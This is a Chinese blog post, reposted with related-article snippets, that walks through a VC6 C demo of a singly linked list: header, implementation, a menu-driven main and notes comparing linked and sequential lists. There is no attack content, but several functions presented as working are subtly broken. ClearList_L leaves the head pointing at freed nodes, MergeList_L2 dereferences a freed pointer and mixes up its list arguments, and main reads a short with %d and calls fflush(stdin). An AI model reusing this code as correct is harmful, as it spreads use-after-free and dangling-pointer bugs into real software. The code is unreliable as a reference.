[数据结构与算法] 单链表的简单demo

Vc6之下编译通过。。

 

 1 /*******************************************************
 2 * @: Project:    单链表数据结构演示
 3 * @: File:        link_list.h
 4 * @: Function: 提供单链表操作的数据结构定义及方法声明
 5 * @: History:    2013-10-01 22:37:05
 6 * @: Author:    Alimy
 7 *******************************************************/
 8 /*******************************************************
 9 * @:头文件包含
10 *******************************************************/
11 
12 #ifndef __LINK_LIST_H__
13 #define __LINK_LIST_H__
14 /*******************************************
15 * @: 数据结构定义&一些宏
16 ********************************************/
17 #define ElemType   signed short    int            // 此例子中的数据为有符号短整形,在VC6 中占据16bits
18 #define StatusType    int        //操作状态为int类型
19 #define OK    (StatusType)1
20 #define ERROR (StatusType)0
21 
22 typedef struct LNode{
23     ElemType m_data;              // 数据域
24     struct LNode *p_next;     // 指针域
25 } LNode, *pLinkList;
26 
27 //typedef struct LHead{ //头结点,其实和 LNode的内存结构相似,
28 //    int ElemNumber;  //数据域,可以存储当前线性表的长度,也可以什么也不存储
29 //    struct LNode *p_FirstNode; //指针域指向线性表的第一个元素
30 //}LHead, *pLHead;
31 
32 #define DATA_FIELD    0//定义是否让头结点的数据域存储表长信息 1为存储(头结点模式),0为不存储(非头结点模式)
33 
34 /*******************************************
35 * @: 外部调用函数声明
36 ********************************************/
37 extern StatusType CreateList_L(pLinkList *pL,int num);//构造num个结点的单链表
38 //extern StatusType _CreateList_L(pLinkList *pL,int num);
39 extern StatusType GetElem_L(pLinkList *pL,int idx_location, ElemType* pe); //获取单链表的元素
40 extern StatusType InsertElem_L(pLinkList *pL,int idx_location,ElemType e);//在单链表中插入元素
41 extern StatusType DeleteElem_L(pLinkList *pL,int idx_location,ElemType* pe);//在单链表中删除元素
42 extern void ClearList_L(pLinkList *pL);    //整表删除
43 extern int LocateElem_L(pLinkList *pL,ElemType e); //定位元素
44 extern int GetLength_L(pLinkList *pL);
45 
46 extern void MergeList_L1(pLinkList *pLa,pLinkList *pLb,pLinkList *pLc);//将两个有序链表并为一个有序链表
47 extern void MergeList_L2(pLinkList *pLa,pLinkList *pLb,pLinkList *pLc);//将两个有序链表并为一个有序链表
48 
49 
50 extern void DisplayList_L(pLinkList *pL); //显示当前所有单链表的长度
51 #endif // end of __LINK_LIST_H__
link_list.h

 

  1 /*******************************************************
  2 * @: Project:    单链表数据结构演示
  3 * @: File:        link_list.c
  4 * @: Function: 提供单链表操作的基本函数和方法
  5 * @: History:    2013-10-01 22:37:37
  6 * @: Author:    Alimy
  7 *******************************************************/
  8 
  9 /*******************************************************
 10 * @: 头文件包含 
 11 *******************************************************/
 12 #include "link_list.h"
 13 #include <stdio.h> 
 14 #include <conio.h>    // int getch(void);
 15 #include <stdlib.h>  // int rand(void);  malloc(); free();
 16 #include <time.h>    // time_t time(time_t *);
 17 
 18 /*******************************************************
 19 * @: (外部&内部)变量声明及定义
 20 *******************************************************/
 21 
 22 /*******************************************************
 23 * @: (外部&内部)函数声明及定义
 24 *******************************************************/
 25 StatusType CreateList_L(pLinkList *pL,int num);//构造num个结点的单链表
 26 StatusType GetElem_L(pLinkList *pL,int idx_location, ElemType* pe); //获取单链表的元素
 27 StatusType InsertElem_L(pLinkList *pL,int idx_location,ElemType e);//在单链表中插入元素
 28 StatusType DeleteElem_L(pLinkList *pL,int idx_location,ElemType* pe);//在单链表中删除元素
 29 int LocateElem_L(pLinkList *pL,ElemType e); //定位元素
 30 int GetLength_L(pLinkList *pL);//获得表长
 31 void ClearList_L(pLinkList *pL);    //整表删除
 32 
 33 void DisplayList_L(pLinkList *pL); //显示当前所有单链表的长度
 34 
 35 
 36 
 37 
 38 
 39 
 40 /*******************************************************
 41 * @: 内部函数具体实现
 42 *******************************************************/
 43 
 44 //ElemType s_data[] = {1,2,3,4,5,6,7,8,9,10,11};
 45 
 46 /*
 47 *@:在堆中构造一个单链表,并逆序插入num个结点(头插法)
 48 *@:返回值 
 49 *@:    构造成功返回OK
 50 *@: 构造失败返回ERROR
 51 **/
 52 StatusType CreateList_L(pLinkList *pL,int num){//构造num个结点的单链表
 53     LNode*  p_Work = NULL; //工作指针
 54     int idx = 0;
 55     if(*pL!=NULL){
 56         printf("当前单链表已被初始化,不需要执行Create操作 \n");
 57         return ERROR;
 58     }
 59 
 60     *pL = (pLinkList)malloc(sizeof(LNode));
 61     if(*pL == NULL){
 62         printf("在堆中申请头结点失败 \n");
 63         return ERROR;        
 64     }
 65     (*pL)->m_data = 0;  // 数据域可以存储当前单链表的长度
 66     (*pL)->p_next = NULL;
 67     
 68     srand(time(0));
 69     for(idx=0;idx<num;idx++){
 70         p_Work = (pLinkList)malloc(sizeof(LNode)); //在堆中申请新的结点
 71         if(p_Work==NULL){
 72             printf("在堆中申请结点出现异常,构造单链表失败  \n");
 73             return ERROR;
 74         }
 75 
 76         //p_Work->m_data = 10*s_data[idx%10];//(rand()%(10)); //均为10以内的整数
 77         p_Work->m_data = (rand()%(100))+1; //晕死,每次生产的随机数怎么都一样
 78         p_Work->p_next = (*pL)->p_next;
 79         (*pL)->p_next = p_Work;          //逆序插入,第一个产生为表尾
 80     }
 81 
 82     (*pL)->m_data = num;
 83 
 84 //    printf("构造单链表成功,单链表的当前长度为 【%d】 \n",(*pL)->m_data);
 85 //    printf("单链表的元素值依次是 \n");
 86 //    p_Work = (*pL);  //指向头结点
 87 //    idx = 0;
 88 //    while(p_Work->p_next){// p_ Work->p_next != NULL 
 89 //        idx++;        
 90 //        p_Work = p_Work->p_next;
 91 //        printf("单链表的第【%d】个元素的值为【%d】\n",idx,p_Work->m_data);
 92 
 93 //    }
 94     printf("构造含【%d】个元素的单链表成功,按任意键去到主菜单\n",(*pL)->m_data);
 95     getch();
 96     return OK;
 97 }
 98 //StatusType _CreateList_L(pLinkList *pL,int num){//构造num个结点的单链表(尾插法)
 99 //    LNode*  p_Work = NULL;
100 //    LNode*  p_NewNode = NULL; //指向新申请结点
101 //    LNode*  p_LastNode = NULL; //指向当前单链表的最后一个结点
102 //    int idx = 0;
103 //    if(*pL!=NULL){
104 //        printf("当前单链表已被初始化,不需要执行Create操作 \n");
105 //        return ERROR;
106 //    }
107 //
108 //    *pL = (pLinkList)malloc(sizeof(LNode));//(建立头结点)
109 //    if(*pL == NULL){
110 //        if(*pL == NULL){
111 //            printf("在堆中申请头结点失败 \n");
112 //            return ERROR;        
113 //        }
114 //
115 //    }
116 //    (*pL)->m_data = 0;  // 数据域可以存储当前单链表的长度  
117 //    (*pL)->p_next = NULL;
118 //    p_LastNode = (*pL);
119 //    srand(time(0));
120 //    for(idx=0;idx<num;idx++){
121 //        p_NewNode = (LNode*)malloc(sizeof(LNode));
122 //        if(p_NewNode == NULL){
123 //            printf("在堆中申请新结点失败 \n");
124 //            return ERROR;
125 //        }
126 //        p_NewNode->m_data = (rand()%(10)); 
127 //        p_NewNode->p_next = NULL;
128 //        p_LastNode->p_next = p_NewNode;
129 //        p_LastNode = p_NewNode;
130 //    }
131 //
132 //    (*pL)->m_data = num;
133 //
134 //    printf("构造单链表成功,单链表的当前长度为 【%d】 \n",(*pL)->m_data);
135 //    printf("单链表的元素值依次是 \n");
136 //    
137 //    p_Work = (*pL);  //指向头结点
138 //    idx = 0;
139 //    while(p_Work->p_next){// p_ Work->p_next != NULL 
140 //        idx++;        
141 //        p_Work = p_Work->p_next;
142 //        printf("单链表的第【%d】个元素的值为【%d】\n",idx,p_Work->m_data);
143 //    }
144 //    printf("构造含【%d】个元素的单链表成功,按任意键去到主菜单",(*pL)->m_data);
145 //    getch();
146 //    return OK;
147 //}
148 
149 
150 
151 /*
152 *@:定位pL指向的单链表的第idx_location 个元素,并将该元素的值赋值给pe指向的内存
153 *@:返回值 
154 *@:    定位数据成功返回OK
155 *@: 定位数据失败返回ERROR
156 **/
157 StatusType GetElem_L(pLinkList *pL,int idx_location, ElemType* pe){ //获取单链表的元素
158     int idx = 0;
159     LNode * p_Work = NULL; // 工作指针
160     
161     #if DATA_FIELD == 0
162         p_Work = (*pL);  //工作指针指向头指针
163         idx = 0;
164         while(p_Work && idx<idx_location){  // 移动工作指针&计数判断是否有
165             p_Work = p_Work->p_next;
166             idx++;
167             // p_Work 指向第idx个结点
168         }
169     
170         if((!p_Work)||(idx>idx_location)){
171         //    printf("索引数据有(非头结点模式)\n");
172             return ERROR;
173         }
174     
175         *pe = p_Work->m_data;
176         return OK;
177     #else
178         //若头结点的数据域存储了单链表的表长信息
179         if((idx_location>(*pL)->m_data)||(idx_location<1)){ //索引有误
180         //    printf("索引数据有误(头结点模式) \n");
181             return ERROR;
182         }
183         p_Work = (*pL);
184         idx = 0;        //工作指针指向头结点,计数清零
185         for(;idx<idx_location;){
186             p_Work = p_Work->p_next;
187             idx++;
188         }
189         //此时p_Work指向第idx_location个结点
190         *pe = p_Work->m_data;
191         return OK;
192     #endif
193     
194 }
195 
196 
197 
198 /*
199 *@:在pL指向的单链表的第idx_location 个位置插入值为e的元素
200 *@:返回值 
201 *@:    插入元素成功返回OK
202 *@: 插入元素失败返回ERROR
203 *@: 时间复杂度:O(n) 但是插入一个和插入N个区别不多,单链表适合(比较顺序表)插入操作较频繁的操作
204 
205 **/
206 StatusType InsertElem_L(pLinkList *pL,int idx_location,ElemType e){//在单链表中插入元素
207 
208     int idx = 0;
209     LNode* p_Work = NULL;
210     LNode* pNewNode = NULL;
211 
212     #if DATA_FIELD == 0
213         // to do 2013-10-06 00:10:46
214         p_Work = (*pL);        //工作指针指向头结点
215         idx = 0;
216 
217         while((p_Work)&&(idx<idx_location-1)){
218             idx++;
219             p_Work = p_Work->p_next;
220         }  
221         //正常情况下,p_Work应该指向第【idx_location - 1】个元素
222         if((!p_Work)||(idx>idx_location-1)){
223             printf("要插入元素的索引有误,请检查后重新输入  \n");
224             return ERROR;
225         }
226         else{
227             pNewNode = (LNode *)malloc(sizeof(LNode));            
228             if(!pNewNode){
229                 printf("在插入元素时,申请堆空间失败,插入操作元素失败 \n");
230                 return ERROR;
231             }
232             else{
233                 pNewNode->m_data = e;
234                 pNewNode->p_next = p_Work->p_next;
235                 p_Work->p_next = pNewNode;
236                 return OK;
237             }
238 
239 
240         }        
241     #else
242     //头结点存储了单链表的长度
243         if((idx_location<1)||(idx_location>(*pL)->m_data+1)){  // 元素索引逻辑有误
244             printf("要插入元素的索引有误,请检查后重新输入  \n");
245             return ERROR;
246         }
247         else{
248             p_Work = (*pL);
249             idx = 0;        //工作指针指向头结点,计数清零
250             for(;idx<idx_location-1;){
251                 p_Work = p_Work->p_next;
252                 idx++;
253             }
254             // p_Work指向第【idx_location-1】个结点
255             pNewNode = (LNode *)malloc(sizeof(LNode));
256             if(!pNewNode){
257                 printf("在插入元素时,申请堆空间失败,插入操作元素失败 \n");
258                 return ERROR;
259             }
260             else{
261                 pNewNode->m_data = e;
262                 pNewNode->p_next = p_Work->p_next;
263                 p_Work->p_next = pNewNode;        // s->next = p->next;  p->next = s;  
264                 (*pL)->m_data++;  //计数器自加
265                 printf("插入元素成功\n");
266                 return OK;
267             }
268         }
269     #endif 
270 }
271 
272 
273 /*
274 *@:在pL指向的单链表中寻找第一个值为e的元素,将其索引返回
275 *@: 返回值
276 *         找到值为e的元素--->返回非0 索引值
277 *        没有找到---->    返回0
278 */
279 int LocateElem_L(pLinkList *pL,ElemType e){ //定位元素
280         int idx = 0;
281         LNode * p_Work = NULL;
282         if(*pL==NULL){
283             printf("当前单链表未被初始化,无法执行定位操作 \n");
284             return 0;
285         }
286         
287         p_Work = (*pL);
288         idx = 0;        //计数清零,工作指针指向头结点
289 //_Loops:
290 //        if(p_Work->p_next!=NULL)
291 //        {
292 //            p_Work = p_Work->next;
293 //            idx++;
294 //            if(p_Work->m_data == e)
295 //                return idx;
296 //            goto _Loops;
297 //        }
298 
299         while(p_Work->p_next!=NULL){
300             p_Work = p_Work->p_next;
301             idx++;
302             if(p_Work->m_data == e){
303                 printf("找到单链表的第【%d】个元素的值为【%d】",idx,p_Work->m_data);
304                 return idx;
305             }
306         }
307         printf("没有定位到元素");
308         return 0;  // 上述没有定位到
309 
310         
311 }
312 
313 /*
314 *@:删除pL指向的单链表的第idx_location 个位置的元素,并将被删除结点的数据域赋值给pe指向的内存
315 *@:返回值 
316 *@:    删除元素成功返回OK
317 *@: 删除元素失败返回ERROR
318 *@: 时间复杂度:O(n) 但是删除一个和删除N个区别不多,单链表适合(比较顺序表)删除操作较频繁的操作
319 **/
320 StatusType DeleteElem_L(pLinkList *pL,int idx_location,ElemType* pe){//在单链表中删除元素
321     int idx = 0;
322     LNode * p_Work = NULL;
323     LNode * p_Temp = NULL;
324 
325     #if DATA_FIELD == 0
326         idx = 0;
327         p_Work = (*pL);  //工作指针指向头结点
328         while((p_Work)&&(idx<idx_location-1)){
329             idx++;
330             p_Work = p_Work->p_next;
331         }
332     //正常情况下,p_Work应该指向第【idx_location - 1】个元素
333         if((!p_Work)||(idx>idx_location-1)){
334             printf("要删除位置的索引有误,请重新输入 \n");
335             return ERROR;
336         }
337         else{
338             p_Temp = p_Work->p_next;  //指向要删除的结点
339             p_Work->p_next = p_Temp->p_next;//p_Work->p_next = p_Work->p_next->p_next;
340             *pe = p_Temp->m_data;
341             free(p_Temp);
342             return OK;
343         }
344     #else
345         if((idx_location<1)||(idx_location>(*pL)->m_data)){ // 
346             printf("要删除元素位置索引有误,请检查输入 \n");
347             return ERROR;
348         }
349         else{
350             p_Work = (*pL);
351             idx = 0;            //工作指针指向头结点
352             for(;idx<idx_location-1;){
353                 p_Work = p_Work->p_next;
354                 idx++;
355             }
356             //p_Work指向第【idx_location - 1 】个结点
357             p_Temp =  p_Work->p_next;
358             p_Work->p_next = p_Temp->p_next;//p_Work->p_next = p_Work->p_next->p_next;
359             *pe = p_Temp->m_data;
360             free(p_Temp);
361             (*pL)->m_data--;
362             return OK;
363         }
364         
365     #endif
366 }
367 
368 /*
369 * @:获取pL指向的单链表中的元素个数
370 * @:返回值
371 *        得到长度--->返回非0长度值
372 *        得不到长度---->返回0
373 */
374 int GetLength_L(pLinkList *pL){//获得表长
375 
376     int idx = 0;
377     LNode * p_Work = NULL;
378     if(*pL==NULL){
379         printf("当前单链表未被初始化,无法获取表长\n");
380         return 0;
381     }
382     #if DATA_FIELD == 0
383         p_Work = (*pL);
384         idx = 0;        //计数清零,工作指针指向头结点
385         while(p_Work->p_next!=NULL){
386             idx++;
387             p_Work = p_Work->p_next;
388         }
389         printf("当前单链表共有【%d】个元素\n",idx);
390         return idx;
391 
392     #else
393         idx = (*pL)->m_data;
394     printf("当前单链表共有【%d】个元素\n",idx);
395         
396         return idx;
397 
398 
399     #endif
400 
401 }
402 /*
403 *@:删除pL指向的单链表的所有结点
404 */
405 
406 void ClearList_L(pLinkList *pL){    //整表删除
407     LNode* p_Work1 = NULL;
408     LNode* p_Work2 = NULL; //工作指针
409     
410     if(*pL == NULL){
411         printf("当前单链表未创建,无法执行整表删除操作 \n");
412         return ;
413     }
414     else if((*pL)->p_next == NULL){
415         printf("当前单链表为空表,不需要执行整表删除操作 \n");
416         return;
417     }
418     else{
419         p_Work1 = (*pL)->p_next; // 指向第一个结点(如果有的话)
420         while(p_Work1!=NULL){
421             p_Work2 = p_Work1;
422             p_Work1 = p_Work2->p_next;//指向下一个
423             free(p_Work2);
424         }
425 
426     //    (*pL)->p_next = NULL;        // 头结点指向NULL
427         (*pL)->m_data = 0;
428         return ;
429     }
430 }
431 
432 /*
433 *@: 输出显示pL指向的单链表所有的元素
434 */
435 void DisplayList_L(pLinkList *pL){ //显示当前所有单链表的长度
436 
437     int idx = 0;
438     LNode* p_Work = NULL;
439 
440     if(*pL==NULL){
441         printf("单链表还未构建,输不出东东 \n");
442         return ;
443     }
444 
445     #if DATA_FIELD == 0
446         idx = 0;
447         p_Work = (*pL); // 工作指针指向头结点,计数清零
448         if(p_Work->p_next==NULL){
449             printf("当前单链表为空表,没什么东东好显示的 \n");
450             return ;
451         }
452         else{
453             while(p_Work->p_next){ //(p_Work->p_next!=NULL)
454                 idx++;
455                 p_Work = p_Work->p_next;
456                 printf("单链表第【%d】个元素的值为【%d】\n",idx,p_Work->m_data);
457             }
458             return ;
459         }
460     #else
461         if((*pL)->m_data == 0){
462             printf("当前单链表的表长为0,没有数据元素,没有什么好打印的 \n");
463             return ;
464         }
465         idx = 0;
466         p_Work = (*pL);  // 工作指针指向头结点,计数清零
467         printf("单链表数据如下:\n");
468         for(;idx<(*pL)->m_data;){  //  idx < currentLength   (currentLength == (*pL)->m_data  or  currentLength == GetLength_L )
469             idx++;
470             p_Work = p_Work->p_next;
471             printf("单链表第【%d】个元素的值为【%d】\n",idx,p_Work->m_data);
472         }
473         return ;
474     #endif
475 
476 }
477 
478 
479 
480 
481 //演示程序中没有用到的程序
482 
483 void MergeList_L1(pLinkList *pLa,pLinkList *pLb,pLinkList *pLc);//归并两个单链表
484 /*
485 *@:归并,已知pLa和pLb指向的单链表的元素都按非递减排列
486 *    将La 和Lb中的元素归并到pLc指向的单链表中
487 */
488 void MergeList_L1(pLinkList *pLa,pLinkList *pLb,pLinkList *pLc){ // 按顺序表的方法新建结点归并到pLc,形成一个新的表,对原来的那两个单链表没有损伤
489     LNode * p_WorkLa = NULL;
490     LNode * p_WorkLb = NULL;
491     int Lc_len = 0;
492     *pLc = (LNode *)malloc(sizeof(LNode)); //*pLc进来是是未被初始化的,即(*pLc) == NULL 
493     (*pLc)->m_data = 0;
494     (*pLc)->p_next = NULL;  // 将pLc指向空表
495     
496 
497     p_WorkLa = (*pLa)->p_next;
498     p_WorkLb = (*pLb)->p_next;    // 初始化时都指向第一个结点(如果有第一个的话)
499 
500     while((p_WorkLa!=NULL)&&(p_WorkLb!=NULL)){
501         Lc_len++; //一定有可以插入的元素
502         if(p_WorkLa->m_data>=p_WorkLb->m_data){
503             InsertElem_L(pLc,Lc_len,p_WorkLb->m_data);
504             p_WorkLb = p_WorkLb->p_next;    
505         }
506         else{
507             InsertElem_L(pLc,Lc_len,p_WorkLa->m_data);
508             p_WorkLa = p_WorkLa->p_next;
509         }
510     }
511 
512     while(p_WorkLa!=NULL){
513         Lc_len++;
514         InsertElem_L(pLc,Lc_len,p_WorkLa->m_data);
515         p_WorkLa = p_WorkLa->p_next;
516     }
517 
518     while(p_WorkLb!=NULL){
519         Lc_len++;
520         InsertElem_L(pLc,Lc_len,p_WorkLb->m_data);
521         p_WorkLb = p_WorkLb->p_next;
522     }
523 }
524 
525 
526 void MergeList_L2(pLinkList *pLa,pLinkList *pLb,pLinkList *pLc){//不新建结点,就用链表把la和lb中的元素用指针连接起来也成为lc的结点
527     LNode* p_la = NULL;
528     LNode* p_lb = NULL;
529     LNode* p_lc = NULL;
530 
531     p_la = (*pLa)->p_next;
532     p_lb = (*pLc)->p_next;    // 都指向第一个结点
533 
534     pLc = p_lc = p_la; //用La的头结点作为Lc的头结点
535 
536     while((p_la!=NULL)&&(p_lb!=NULL)){
537         if(p_la->m_data <= p_lb->m_data){
538             p_lc->p_next = p_la;
539             p_lc = p_la;    // 工作指针移动
540             p_la = p_la->p_next;
541         }
542         else{
543             pLc->p_next = p_lb;
544             p_lc = p_lb;
545             p_lb = p_lb->p_next;
546         }
547     }
548 
549     if(p_la != NULL){
550         p_lc->p_next = p_la;
551     }
552 
553     if(p_lb != NULL){
554         p_lc->p_next = p_lb;
555     }
556 
557     free(*(pLb));//释放Lb结点
558     (*pLb)->p_next = NULL;//Lb被直接置为空表了!
559         
560 }
link_list.c

 

 

  1 /*******************************************************
  2 * @: Project:    单链表数据结构演示
  3 * @: File:        main.c
  4 * @: Function: 单链表demo主程序
  5 * @: History:    2013-10-01 22:36:03
  6 * @: Author:    Alimy
  7 *******************************************************/
  8 
  9 /*******************************************************
 10 * @: 头文件包含
 11 *******************************************************/
 12 #include "link_list.h"
 13 #include <stdio.h>
 14 #include <conio.h>   
 15 #include <stdlib.h> 
 16 
 17 
 18 /*******************************************************
 19 * @:(外部&内部)变量声明及定义
 20 *******************************************************/
 21 
 22 /*******************************************************
 23 * @: (外部&内部)函数声明及定义
 24 *******************************************************/
 25 void printmenu(void);
 26 
 27 
 28 /*******************************************************
 29 * @: 主函数
 30 *******************************************************/
 31 int main(){
 32     pLinkList   LinkList_Display = NULL;
 33     unsigned char keyValue = 0;
 34     int idx = 0;
 35     ElemType e = 0;
 36     if(OK!=CreateList_L(&LinkList_Display,5))
 37         goto _end;
 38     
 39     while(1){
 40         system("cls");
 41         printmenu();
 42         fflush(stdin);
 43         scanf("%c",&keyValue);
 44         fflush(stdin);
 45         switch(keyValue){
 46             case 'a':
 47                 printf("请输入你要插入的位置索引及要插入的数据\n");
 48                 scanf("%d%d",&idx,&e);
 49                 printf("你要插入数据的位置是 【%d】,要插入的数据是【%d】\n",idx,e);
 50                 InsertElem_L(&LinkList_Display,idx,e);
 51                 printf("按任意键返回主菜单\n"); 
 52                 getch();
 53                 break;
 54             
 55             case 'b':
 56                 printf("请输入你要删除单链表中的元素的索引\n");
 57                 scanf("%d",&idx);
 58                 printf("你要删除数据的位置是 【%d】\n",idx);
 59                 if(OK==DeleteElem_L(&LinkList_Display,idx,&e)){
 60                     printf("删除元素成功,被删除的元素值为 %d \n",e);
 61                 }
 62                 printf("按任意键返回主菜单\n"); 
 63                 getch();
 64                 break;
 65             case 'c':
 66                 printf("请输入你要得到单链表中的元素的索引\n");
 67                 scanf("%d",&idx);
 68                 if(OK!=GetElem_L(&LinkList_Display,idx,&e)){
 69                     printf("获取元素失败,请检查相关输入是否符合操作条件\n");
 70                     }
 71                 else{
 72                     printf("获取到的元素是 %d \n",e);
 73                     }
 74                 printf("按任意键返回主菜单\n"); 
 75                 getch();
 76                 break;
 77             case 'd':
 78                 printf("请输入你要定位单链表中的元素值\n");
 79                 scanf("%d",&e);
 80                 LocateElem_L(&LinkList_Display,e);
 81                 printf("按任意键返回主菜单\n"); 
 82                 getch();
 83                 break;
 84             case 'e':
 85                 idx = GetLength_L(&LinkList_Display);
 86                 if(LinkList_Display->p_next!=NULL){
 87                     printf("当前表长为【%d】 \n", idx);
 88                 }
 89                 printf("按任意键返回主菜单\n"); 
 90                 getch();
 91                 break;
 92             case 'f':
 93                 ClearList_L(&LinkList_Display);
 94                 printf("清除单链表完成,按任意键返回主菜单\n"); 
 95                 getch();
 96                 break;
 97             case 'g':
 98                 DisplayList_L(&LinkList_Display);
 99                 printf("按任意键返回主菜单\n"); 
100                 getch();
101                 break;
102             case 'h':
103                 goto _end;
104                 break;
105             default:
106                 printf("你的输入环节有误,清重新输入 \n");
107                 printf("按任意键返回主菜单\n"); 
108                 getch();
109                 break;
110         }
111     }
112 
113     
114 
115 _end:
116     ClearList_L(&LinkList_Display);      // 释放堆空间
117     if(LinkList_Display!=NULL)
118         free(LinkList_Display); //释放头结点
119 /*
120 
121 错误代码 :
122     while(LinkList_Display!=NULL)
123         free(LinkList_Display);
124         
125 //刚刚才知道 free(p)之后p还是原来的数,不会变成NULL
126 研究了一下 p自身虽然是指针,但不能通过指针的值并不能改变自身的值,所以说传地址能改变原元素的值是有条件的
127 再者,传值就一定改变不了原元素的 值么
128 
129 //另外一个测试代码,VC6下测试结果符合预期,其他编译器未经测试
130 // test -- start
131 #include <stdio.h>
132 void changedata(long int pointer){
133     *((int *)pointer) = 100;
134     return ;
135 
136 }
137 int main(void){
138     int temp = 1000;
139     long    int p = (long int)(&temp);  // 在VC6中long int为四个字长,等于指针长度
140     printf("temp = %d \n",temp);
141     changedata(p);
142     printf("temp = %d \n",temp);
143     return 1;
144 }
145 // test--end
146 传值还是传址不能被形式表象所迷惑。
147 */
148     getch();
149     return 0;    
150 
151 }
152 
153 
154 /*
155 *@: 打印演示主菜单
156 *@:返回值(无)
157 */
158 void printmenu(void){
159     printf("  【主菜单】: 请输入数据相应对应的操作\n");
160     printf("【a】: 在单链表中插入元素\n");
161     printf("【b】: 在单链表中删除元素\n");
162     printf("【c】: 在单链表中得到元素\n");
163     printf("【d】: 在单链表中定位元素\n");
164     printf("【e】: 获取当前单链表的表长\n");
165     printf("【f】: 清除单链表,整表删除\n");
166     printf("【g】: 打印当前单链表的所有数据\n");
167     printf("【h】: 退出当前程序\n");
168     printf(" 您需要执行的操作项是:  ");
169 }
170 
171 
172 
173 /*
174 
175 单链表结构与顺序表存储结构的比较
176     1:存储分配方式
177         顺序表:申请连续块空间
178         单链表:链式申请,存储单元任意
179     2:时间性能
180         查找:
181             顺序表:O(1)
182             单链表:O(n)
183         删除&插入:
184             顺序表:O(n)
185             单链表:第一次为O(n),后续为O(1)
186     3:空间性能
187         顺序表:
188             需要预分配,分配大了造成浪费;分配小了,容易造成溢出
189         单链表:
190             只要    有,随时可以用
191             
192             
193 若线性表需要频繁的查找,很少进行插入&删除操作,宜采用顺序存储结构
194 反之可以采用链式存储结构
195 
196 
197 例子:
198 游戏开发中,对于用户注册注册的个人信息,只读取居多,宜采用顺序存储结构
199 游戏中的武器或者装备列表,增加删除操作更多,宜采用链式存储结构
200 
201 
202 当线性表中的元素个数变化大或者对应用不了解的情况下,最好采用单链表结构,不必考虑存储空间的大小问题。
203 若评估知道规模大致长度,可以用顺序表。。
204 
205 总之:综合各种条件考虑!
206 */
main.c

 

(老实说,我对单链表的头结点有点好奇,

我的想法是为头结点单独管理,然后让头结点的数据域来管理单链表的长度。。。这样在插入&删除等操作中,直接就可以用头结点的数据域来判断是否能完成插入&删除等操作了。。

1 typedef struct LHead{ //头结点,其实和 LNode的内存结构相似,
2  int LinkListLength; //数据域,可以存储当前线性表的长度,也可以什么也不存储
3  struct LNode *p_FirstNode; //指针域指向线性表的第一个元素
4 }LHead, *pLHead;

 

额。静态链表&(循环链表&双向链表)就直接跳过了,不写demo了。。

静态链表不是在拥有指针机制的其他高级语言使用链表的机制。

 

循环链表&双向链表和单链表的实现类似。

转载于:https://www.cnblogs.com/alimy/p/3361977.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/261203.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

c++ 17介绍

作者&#xff1a;hearts zh链接&#xff1a;https://www.zhihu.com/question/32222337/answer/55238928来源&#xff1a;知乎著作权归作者所有。商业转载请联系作者获得授权&#xff0c;非商业转载请注明出处。其实现在的proposal很多很多&#xff0c;不出意外也会有相当一部分…

“高考”机器人横空出世 2017年居然要考“大学”

文/辛东方&#xff0c;80后作家、专栏作者、专注互联网科技领域人工智能的发展&#xff0c;科学技术的全力配合&#xff0c;已经把人类的智慧实实在在的体现到了智能化设备上。按照目前的发展速度&#xff0c;人工智能要想真正突破技术难关&#xff0c;达到进一步的智能化&…

谁说菜鸟不会数据分析--数据分析那些事儿

一、数据分析是“神马” 1、 何谓数据分析 简单来说&#xff0c;数据分析就是对数据进行分析&#xff0c;较为专业的说法&#xff0c;数据分析是指用适当的统计分析方法对收集来的大量数据进行分析&#xff0c;将它们加以汇总、理解并消化&#xff0c;以求最大化地开发数据的功…

优集品 php,从细节处着眼 优集品打造成人世界的儿童节

在各大电商企业仍旧在史上最大规模的价格战中拼的不可开交之时&#xff0c;重视用户体验度&#xff0c;以商品传递生活理念而知名的全球优选设计百货--LivePort优集品(http://www.liveport.cn/)&#xff0c;已然细心的为眼下即将来临的六一儿童节策划了一餐盛宴&#xff0c;为追…

java中ssm付款代码,ssm实现支付宝支付功能(图文详解)

目录1、支付宝沙箱环境测试2、支付宝整合到ssm环境3、微信支付整合到ssm环境一、支付宝测试环境代码测试1.下载电脑网站的官方demo&#xff1a;2.下载解压导入eclipsereadme.txt请好好看一下。只有一个Java配置类&#xff0c;其余都是JSP。3.配置AlipayConfig(1).注册蚂蚁金服开…

获取android手机的屏幕分辨率 android开发

2019独角兽企业重金招聘Python工程师标准>>> /** * 获取屏幕分辨率 */ private void getResolution() { // TODO Auto-generated method stub Display display getWindowManager().getDefaultDisplay(); DisplayMetrics displayMetrics new DisplayMetrics(); dis…

Python线程指南 ---转自 http://www.cnblogs.com/huxi/archive/2010/06/26/1765808.html

Python线程指南 ---转自 http://www.cnblogs.com/huxi/archive/2010/06/26/1765808.html 本文介绍了Python对于线程的支持&#xff0c;包括“学会”多线程编程需要掌握的基础以及Python两个线程标准库的完整介绍及使用示例。 注意&#xff1a;本文基于Python2.4完成&#xff0c…

有的日期输入框,可直接调用javascripts

转载于:https://www.cnblogs.com/rf-bear/p/5549126.html

TigerDLNA for ios 集成Tlplayer

好久没有写博客了&#xff0c;这次带着TigerDLNA for ios 跟大家见面 什么都不说先上图 1.优点 优点由于libTigerDLNA使用uiview封装&#xff0c;所以大家可以很方便的集成到自己的项目中。由于集成了tlplayer当然也可以只是作为一个播放器来使用&#xff0c;支持各种网络协议。…

Android——Fragment实例精讲——底部导航栏+ViewPager滑动切换页面

说明&#xff1a; 实现效果&#xff1a; 1- 用ViewPager实现Fragmen之间的切换 2- 底部用RadioGroup实现&#xff0c;更方便的实现图片和字体颜色的改变&#xff0c;更方便的通过RadioButton的点击事件来控制页面切换 原文地址&#xff1a;http://www.runoob.com/w3cnote/andro…

springmvc错误 Spring3.X jdk8 java.lang.IllegalArgumentException

最近在学习springmvc--碰到一个特别蛋疼的错误 javax.servlet.ServletException: Servlet.init() for servlet springMVC threw exceptionorg.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:504)org.apache.catalina.valves.ErrorReportValv…

axure 鼠标样式,Axure8-动态面板+简单鼠标事件实现单页面应用

